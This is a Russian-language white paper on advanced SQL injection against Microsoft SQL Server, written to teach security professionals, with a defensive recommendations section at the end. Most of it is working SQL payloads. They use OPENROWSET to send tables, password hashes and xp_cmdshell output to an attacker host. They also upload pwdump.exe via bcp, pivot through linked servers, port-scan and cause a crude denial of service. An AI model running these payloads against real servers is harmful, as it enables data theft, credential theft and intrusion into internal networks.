Введение
Этот документ не охватывает базовый SQL синтаксис или SQL инъекции. Предполагается, что читатель уже имеет отличное понимание предмета. Этот документ будет сфокусирован на продвинутых техниках, которые могут быть использованы в атаках на web-приложения использующие Microsoft SQL Server. Эти техники демонстрируют как атакующий может использовать SQL инъекции для того чтобы извлекать содержимое из базы данных минуя брандмауэр и проникать во внутреннюю сеть. Этот документ призван научить профессионалов информационной безопасности потенциально опасным эффектам SQL инъекций, которые могут произойти в вашей организации.
Web-приложения становятся более защищенными, поскольку растёт количество уведомлений об атаках, таких как SQL инъекции. Тем не менее, в больших и комплексных приложениях, одна оплошность может стать результатом компрометации всей системы. Множество разработчиков и администраторов web-приложений могут иметь ложное ощущение безопасности, поскольку они используют хранимые процедуры или скрывают сообщения об ошибках возвращаемые в окно браузера. Это даёт основание верить в то, что уязвимостью не возможно воспользоваться.
Хотя в этом документе мы обсуждаем Microsoft SQL Server, это не говорит о том, что этот продукт менее защищен, чем другие платформы, такие как Oracle или IBM DB2. SQL инъекции это не конкретная уязвимость Microsoft SQL Server это также проблема баз данных в целом. Возможно, большая проблема Microsoft SQL Server это его гибкость. Благодаря этой гибкости открываются новые возможности для проведения атак класса SQL Injection. Цель этого документа показать, что каждый раз, когда администратор или разработчик допускает выполнение произвольного SQL запроса, атакуемая система открыта для полного захвата. Это не является показателем того, что продукт Microsoft SQL Server уязвимым в целом.
Обнаружение SQL инъекций
Множество разработчиков и web администраторов считают, что SQL инъекция не представляет угрозы в случае, если атакующий не может видеть сообщения об ошибках вызванные SQL запросом или не возвращают результат запроса в окно браузера. В первую очередь адресуем читателя к документу, написанному Chris Ansley из NGSSoftware[1]. Этот документ расширяет возможные пути использования SQL инъекций.
При попытке использования SQL инъекций в приложениях, атакующий нуждается в методе определения действительно ли произошло внедрение произвольного SQL запроса. Так же существует необходимость в методе получения результатов. Для этого могут быть использованы две встроенные функции SQL сервера. Функции OPENROWSET и OPENDATASOURCE предназначенные для открытия удаленного источника данных. Эти функции используются для открытия соединения посредством провайдера OLEDB. Функция OPENROWSET будет использована во всех примерах, но с теми же результатами может быть использована функция OPENDATASOURCE.
Это выражение возвращает все строки таблицы table1 из удаленного источника данных:
select * from
OPENROWSET( 'SQLoledb',
'server=servername;uid=sa;pwd=h8ck3r',
'select * from table1' )
Параметры:
(1) Имя провайдера OLEDB
(2) Строка подключения (может быть в формате требуемом OLEDB или ODBC)
(3) Выражение SQL
Параметр «строка подключения» может содержать другие опции, такие как используемую сетевую библиотеку или IP адрес и порт, необходимые для подключения. Пример приведен ниже.
select * from
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=10.0.0.10,1433;',
'select * from table' )
В этом примере, SQL сервер будет использовать провайдер OLEDB – SQLoledb, чтобы выполнить SQL выражение. Провайдер OLEDB будет использовать библиотеку сокетов SQL Server (DBMSSOCN) для подключения к порту 1433 и IP адресу 10.0.0.10 и результаты SQL выражения будут возвращены локальному SQL серверу. Логин sa и пароль h8ck3r будут использованы для аутентификации на удаленным источнике данных.
Следующий пример демонстрирует, как функция OPENROWSET может быть использована для подключения к произвольному IP адресу/порту включая IP адрес и порт атакующего. В этом случае хост хакера имеет имя hackersip и Microsoft SQL Server работает на 80-ом порту. Имя «hackersip» может быть заменено IP адресом и порт может быть любым предпочтительным для хакера.
select * from
OPENROWSET('SQLoledb',
'uid=sa;pwd=;Network=DBMSSOCN;Address=hackersip,80;',
'select * from table')
В процессе SQL инъекции атакующий может определить, выполнился ли SQL запрос. Если SQL запрос успешно выполнен, атакуемый сервер попытается установить исходящее соединение с компьютером атакующего на указанный порт. Это исходящее SQL соединение в большинстве случаев не будет блокировано брандмауэром, так как используется 80-й порт.
Эта техника позволяет атакующему узнать выполнился ли SQL запрос, даже если сообщения об ошибках и результаты запроса не были выведены в окно браузера.
Получение результатов из SQL инъекций
Функции OPENROWSET и OPENDATASOURCE наиболее часто используются для извлечения необходимых данных. Они могут быть также использованы для помещения данных на удаленный SQL сервер. Функция OPENROWSET может быть использована не только для выполнения запроса SELECT, но также для выполнения INSERT и DELETE во внешних источниках данных. Обработка данных из удаленного источника не является общим случаем и работает, только если OLEDB провайдер поддерживает эту возможность. Провайдер SQLOLEDB обладает такими функциональными возможностями.
Ниже приведен пример помещения данных во внешний источник данных:
insert into
OPENROWSET('SQLoledb',
'server=servername;uid=sa;pwd=h8ck3r',
'select * from table1')
select * from table2
В этом примере все строки в таблице table2 локального SQL сервера будут добавлены в таблицу table1 находящуюся на удаленном сервере. Для успешного выполнения запроса необходимо чтобы обе таблицы имели схожую структуру.
Как мы узнали в предыдущем абзаце, удаленные источники данных могут быть перенаправлены на любой по выбору сервер атакующего.
Атакующий может изменить запрос выше для соединения с удаленным источником данных, таким как копия Microsoft SQL Server запущеная на машине атакующего.
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from table1'
select * from table2
Для того чтобы успешно вставить данные, атакующий должен создать таблицу table1 с теми же столбцами и типами данных как в таблице table2. Эта информация может быть определена, используя этот же трюк для системных таблиц. Это сработает, потому что структура системных таблиц заранее известна. Атакующий должен начать с создания таблиц со структурой идентичной системным таблицам sysdatabases, sysobjects и syscolumns. Затем чтобы извлечь необходимую информацию должны быть выполнены следующие SQL запросы:
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _sysdatabases')
select * from master.dbo.sysdatabases
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _sysobjects')
select * from user_database.dbo.sysobjects
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _syscolumns')
select * from user_database.dbo.syscolumns
После воссоздания таблиц в базе данных, загрузка необходимых данных из SQL сервера тривиальна.
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from table1')
select * from database..table1
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from table2')
select * from database..table2
Используя этот метод, атакующий может извлекать содержимое из таблиц, даже если приложение скрывает сообщения об ошибках или результаты неверных запросов.
Получив соответствующие привилегии, атакующий сможет загрузить список логинов и паролей:
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _sysxlogins')
select * from database.dbo.sysxlogins
Получение хэшей паролей даёт возможность атакующему использовать brute-force атаку для подбора паролей.
Атакующий также сможет выполнять команды на атакованном сервере и получать результаты их выполнения:
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from temp_table')
exec master.dbo.xp_cmdshell 'dir'
Если брандмауэр сконфигурирован блокировать все исходящие соединения SQL сервера, атакующий может использовать один из нескольких методов для обхода брандмауэра. Атакующий может использовать при передаче данных 80-й порт предназначенный для HTTP соединения. Ниже приведен пример этой техники:
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'select * from table1')
select * from table1
Если исходящее соединение на 80-й порт блокируется брандмауэром, то атакующий может попытаться использовать другие номера портов до тех пор, пока не отыщет незаблокированный.
Повышение привилегий
Часто администратор, следуя рекомендациям безопасности, настраивает приложения для запуска от имени непривилегированного пользователя. Найдя уязвимость в приложение, запущенном от непривилегированного пользователя атакующий пытается повысить привилегии и получить права администратора. Атакующий может использовать другие известные и неизвестные уязвимости, приводящие к повышению привилегий. Существует некоторое количество свежих уязвимостей обнаруженных в SQL сервере, если атакующий может выполнять произвольные SQL запросы, то он сравнительно легко сможет поднять привилегии.
Опубликованные уведомления об уязвимостях доступны по адресам:
www.appsecinc.com/cgi-bin/show_policy_list.pl?app_type=1&category=3 www.appsecinc.com/resources/alerts/mssql/
Загрузка файлов
Как только атакующий получил необходимые привилегии SQL сервера, он возможно захочет загрузить на сервер бинарный файл. Поскольку это не может быть сделано используя протокол такой как SMB, порты 137-139 обычно заблокированы брандмауэром, атакующему нужен другой метод для помещения бинарного файла в файловую систему жертвы. Это может быть сделано посредствам загрузки двоичного файла в локальную таблицу на хосте атакующего и помещение файла на атакуемый хосте используя соединение SQL сервера.
Для реализации этого атакующий должен создать таблицу на локальном сервере следующим образом.
create table AttackerTable (data text)
Создав таблицу для бинарного файла, загружаем его туда следующим образом:
bulk insert AttackerTable
from 'pwdump.exe'
with (codepage='RAW')
Бинарный файл может быть загружен на сервер-жертву с сервера атакующего при помощи следующего SQL запроса выполненного на сервере-жертве:
exec xp_cmdshell 'bcp «select * from AttackerTable» queryout pwdump.exe -c -
Craw -Shackersip -Usa -Ph8ck3r'
Этот запрос приведет к исходящему соединению с сервером атакующего и запишет результат запроса в файл. В этом случае, соединение происходит с использованием протокола и порта используемого по умолчанию, такое соединение, вероятно, будет блокировано брандмауэром. Для обхода брандмауэра, атакующий может попытаться использовать:
exec xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftMSSQLServerClientConnectTo','Hacke
rSrvAlias','REG_SZ','DBMSSOCN,hackersip,80'
и затем:
exec xp_cmdshell 'bcp «select * from AttackerTable» queryout pwdump.exe -c -
Craw -SHackerSrvAlias -Usa -Ph8ck3r'
Первый SQL запрос конфигурирует соединение с сервером хакера для использования 80-го порта, второй SQL запрос соединяется с сервером хакера, используя 80-й порт, и закачивает бинарный файл.
Другой метод — хакер мог бы использовать скрипт Visual Basic (.vbs) или JavaScript (.js) поместив файл в файловую систему и запустив скрипт.
Используя эту технику, скрипт будет подключаться к какому-нибудь серверу и скачивать бинарный файл атакующего или копировать и запускать файл на сервере-жертве.
exec xp_cmdshell '"first script line" >> script.vbs'
exec xp_cmdshell '"second script line" >> script.vbs'
…
exec xp_cmdshell '"last script line" >> script.vbs'
exec xp_cmdshell 'script.vbs' -->execute script to download binary
Проникновение во внутреннюю сеть
Соединенные и удаленные серверы Microsoft SQL Server позволяют одному серверу прозрачно взаимодействовать с другим удаленным сервером баз данных. Соединенные серверы позволяют выполнять распределенные запросы и даже позволяют управлять удаленными серверами баз данных. Атакующий может воспользоваться этими возможностями для доступа во внутреннюю сеть.
Атакующий должен начать со сбора информации хранящейся в системной таблице master.dbo.sysservers как продемонстрировано здесь:
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'select * from _sysservers')
select * from master.dbo.sysservers
Далее атакующий может запросить информацию с соединенного удаленного сервера.
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'select * from _sysservers')
select * from LinkedOrRemoteSrv1.master.dbo.sysservers
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'select * from _sysdatabases')
select * from LinkedOrRemoteSrv1.master.dbo.sysdatabases
…и т.д.
Если сединенные и удаленные серверы не сконфигурированы для доступа к данным (не сконфигурированы для выполнения произвольных запросов, разрешено выполнение только хранимых процедур) атакующий может попытаться:
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'select * from _sysservers')
exec LinkedOrRemoteSrv1.master.dbo.sp_executesql N'select * from
master.dbo.sysservers'
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'select * from _sysdatabases')
exec LinkedOrRemoteSrv1.master.dbo.sp_executesql N'select * from
master.dbo.sysdatabases'
…и т.д.
Используя эту технику атакующий может «прыгать» от одного сервера к другому проникая глубже во внутреннюю сеть через связанные и удаленные серверы:
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'select * from _sysservers')
exec LinkedOrRemoteSrv1.master.dbo.sp_executesql
N'LinkedOrRemoteSrv2.master.dbo.sp_executesql N''select * from
master.dbo.sysservers'''
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'select * from _sysdatabases')
exec LinkedOrRemoteSrv1.master.dbo.sp_executesql
N'LinkedOrRemoteSrv2.master.dbo.sp_executesql N''select * from
master.dbo.sysdatabases'''
…и т.д.
Как только атакующий получил необходимый доступ к соединенному или удаленному серверу, он или она могла бы загрузить файл на сервер, используя методы упоминавшиеся ранее.
Сканирование портов
Используя описанный ранее метод, атакующий мог бы использовать SQL инъекцию для элементарного IP/порт сканирования внутренней сети или Интернета. Также, при использование SQL инъекции действительный IP адрес атакующего будет замаскирован.
После нахождения уязвимого (web) приложения, атакующий может использовать следующий SQL запрос:
select * from
OPENROWSET('SQLoledb',
'uid=sa;pwd=;Network=DBMSSOCN;Address=10.0.0.123,80;timeout=5',
'select * from table')
Этот запрос создаст исходящее соединение на адрес 10.0.0.123, используя 80-й порт. Анализируя сообщения об ошибке и время реакции, атакующий определяет, открыт порт или нет. Если порт закрыт, то по прошествии времени, определенного в параметре timeout (в секундах), будет отображено следующее сообщение:
SQL Server does not exist or access denied.
Если порт открыт, время ответа может быть менее установленного в параметре timeout (зависит от приложения использующего этот порт) и будет возвращено следующее сообщение об ошибке:
General network error. Check your network documentation.
или
OLE DB provider 'sqloledb' reported an error. The provider did not give any
information about the error.
Используя эту технику, нападающий сможет узнать об открытых портах на сканируемых хостах внутренней сети или Интернет. IP адрес атакующего будет скрыт потому, что соединение устанавливает захваченный SQL сервер. Очевидно, эта форма сканера портов немного сыра, но все же может быть эффективным инструментом для сканирования сети.
Другой возможный эффект такого сканера портов это DOS-атака. Рассмотрим следующий пример:
select * from
OPENROWSET('SQLoledb',
'uid=sa;pwd=;Network=DBMSSOCN;Address=10.0.0.123,21;timeout=600',
'select * from table')
Эта команда установит исходящее соединение на адрес 10.0.0.123, используя 21 порт, в течение 10 минут выполнится почти 1000 соединений к ftp сервису. Это происходит в результате того, что SQL сервер не может подключиться, но продолжает попытки в течение установленного в timeout времени. Эта атака могла бы быть проведена многократно для умножения эффекта.
Рекомендации
Главная рекомендация – убедиться в отсутствие уязвимостей SQL Injection. Это наиболее важная рекомендация, потому что даже если не удастся проделать трюки, описанные в этой статье, возможно, появится другой способ использовать уязвимости. Для предохранения от SQL инъекций рекомендуется использовать параметрические запросы и фильтровать ввод пользователя на наличие не буквенно-цифровых символов.
Наиболее правильный метод – придерживаться стандартов безопасного программирования при написании приложений. Если код приложения уже написан, необходимо провести аудит для обнаружения уязвимостей. Так же рекомендуется обратиться к некоторым средствам автоматизации, которые предназначены для обнаружения таких типов проблем.
Даже если Вы чувствуете, что закрыли все известные уязвимости, хорошим решением будет отключение неиспользуемых функциональных возможностей SQL сервера. Но только в том случае если эта функциональность действительно вам не нужна. К счастью, функции, которые мы хотим заблокировать используются не часто.
Вы должны запретить специальные запросы через OLEDB от SQL сервера. Возможность осуществления этих запросов контролируются установкой значения DisallowAdhocAccess в системном реестре.
Если вы пользуетесь именованными экземплярами (только в Microsoft SQL Server 2000), установите значение DisallowAdhocAccess=1 в каждой подветке ключа:
HKEY_LOCAL_MACHINESoftwareMicrosoftMicrosoft SQL Server
[Имя_экземпляра]Providers.
Если вы используете экземпляр по умолчанию, установите значение DisallowAdhocAccess=1 в каждой подветке ключа:
HKEY_LOCAL_MACHINESoftwareMSSQLServerMSSQLServerProviders.
Проделайте следующие шаги, для того чтобы установить это значение:
1) Запустите редактор реестра (regedit.exe).
2) Найдите вышеуказанный ключ реестра.
3) Выберите первую подветку провайдера.
4) Выберите в меню EditNewDWORD Value.
5) Установите в качестве имени нового значения DisallowAdhocAccess.
6) Кликнете по этому имени и установите значение в 1.
7) Повторите эти действия для каждого провайдера.
Если вы параноик, вы можете установить ключи реестра в режим только для чтения, для того чтобы их нельзя было редактировать.
Так же очень важным является наложение патчей устраняющих ошибки в безопасности, необходимо делать это своевременно.
Для того чтобы быть в курсе новых уязвимостей Microsoft SQL Server, рекомендуется подписаться на список рассылки уведомлений AppSecInc:
www.appsecinc.com/resources/mailinglist.html
Последняя предосторожность, настройте и протестируйте брандмауэр так, чтобы он блокировал весь излишний исходящий трафик. Это поможет не только сохранить базу данных, но и улучшит безопасность сети в целом.
Вывод
То, что мы продемонстрировали в этом документе это небольшие возможности доступа, которые могут быть использованы для получения полного контроля над множеством серверов. SQL это универсальный язык. Не один здравомыслящий человек не позволит запускать произвольный код Си++ или Visual Basic на сервере. Тоже касается SQL. Ни один здравомыслящий человек не позволит слепо выполнить то, что ввел пользователь. Этот документ показывает почему это не должно случаться.
Microsoft SQL Server это мощный, гибкий и доступный сервер баз данных служащий основой для множества приложений. Исходя из этого факта, важно понимать, как SQL сервер может быть скомпрометирован, и тем более важно понимать, как этого можно избежать. SQL сервер это инструмент и если его использовать неправильно или небрежно в результате можно подвергнуть опасности не только данные, но и другие приложения в сети. Это означает, что мы должны серьезно подходить к обеспечению безопасности Microsoft SQL Server.